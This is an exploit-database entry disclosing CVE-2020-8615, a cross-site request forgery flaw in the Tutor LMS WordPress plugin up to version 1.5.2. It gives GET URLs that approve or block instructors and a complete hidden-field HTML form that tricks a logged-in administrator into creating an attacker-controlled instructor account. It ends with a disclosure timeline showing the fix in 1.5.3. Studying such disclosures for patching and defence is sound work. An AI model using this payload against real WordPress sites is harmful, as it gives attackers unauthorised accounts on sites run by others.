afe5797b88
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3.2 KiB
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# Exploit Title: Wordpress Plugin Tutor LMS 1.5.3 - Cross-Site Request Forgery (Add User)
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# Date: 2020-01-30
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# Vendor Homepage: https://www.themeum.com/product/tutor-lms/
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# Vendor Changelog: https://wordpress.org/plugins/tutor/#developers
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# Exploit Author: Jinson Varghese Behanan
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# Author Advisory: https://www.getastra.com/blog/911/plugin-exploit/cross-site-request-forgery-in-tutor-lms-plugin/
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# Author Homepage: https://www.jinsonvarghese.com
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# Version: 1.5.2 and below
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# CVE : CVE-2020-8615
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# 1. Description
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# The Tutor LMS WordPress plugin is a feature-packed plugin that enables users to create and sell courses.
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# An attacker can use CSRF to register themselves as an instructor or block other legit instructors.
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# Consequently, if the option to create courses without admin approval is enabled on the plugin’s settings
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# page, the attacker will be able to create courses directly as well. All WordPress websites
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# using Tutor LMS version 1.5.2 and below are affected.
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# 2. Proof of Concept
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# As the requests for the approval and blocking of instructors are sent using the GET method, the CSRF
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# attack to approve an attacker-controlled instructor account can be performed by having the admin
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# visit https://TARGET/wp-admin/admin.php?page=tutor-instructors&action=approve&instructor=8 directly,
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# after retrieving the instructor ID during the registration process. An approved instructor can also be blocked
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# by directing the admin to visit https://TARGET/wp-admin/admin.php?page=tutor-instructors&action=blocked&instructor=7.
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# CSRF attack can also be performed on the form present at https://TARGET/wp-admin/admin.php?page=tutor-instructors&sub_page=add_new_instructor
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# in order to have the admin add an instructor account for the attacker, thus bypassing the requirement for approval.
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# This can be done by tricking the admin to submit the below-given web form as a POST request. For example, if the web form is
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# hosted on an attacker-controlled domain https://attacker.com/csrf.html, an admin who is logged in at https://TARGET can
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# be tricked into visiting the link and triggering the request to add an instructor.
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<html>
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<body>
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<script>history.pushState('', '', '/')</script>
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<form action="https://TARGET/wp-admin/admin-ajax.php" method="POST">
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<input type="hidden" name="action" value="add_new_instructor" />
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<input type="hidden" name="first_name" value="John" />
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<input type="hidden" name="last_name" value="Doe" />
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<input type="hidden" name="user_login" value="jd_instructor" />
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<input type="hidden" name="email" value="jd@TARGET" />
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<input type="hidden" name="phone_number" value="1231231231" />
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<input type="hidden" name="password" value="Pa$$w0rd!" />
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<input type="hidden" name="password_confirmation" value="Pa$$w0rd!" />
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<input type="hidden" name="tutor_profile_bio" value="Et tempore culpa n" />
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<input type="hidden" name="action" value="tutor_add_instructor" />
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<input type="submit" value="Submit request" />
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</form>
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</body>
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</html>
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3. Timeline
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Vulnerability reported to the Tutor LMS team – January 30, 2020.
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Tutor LMS version 1.5.3 containing the fix released – February 4, 2020. |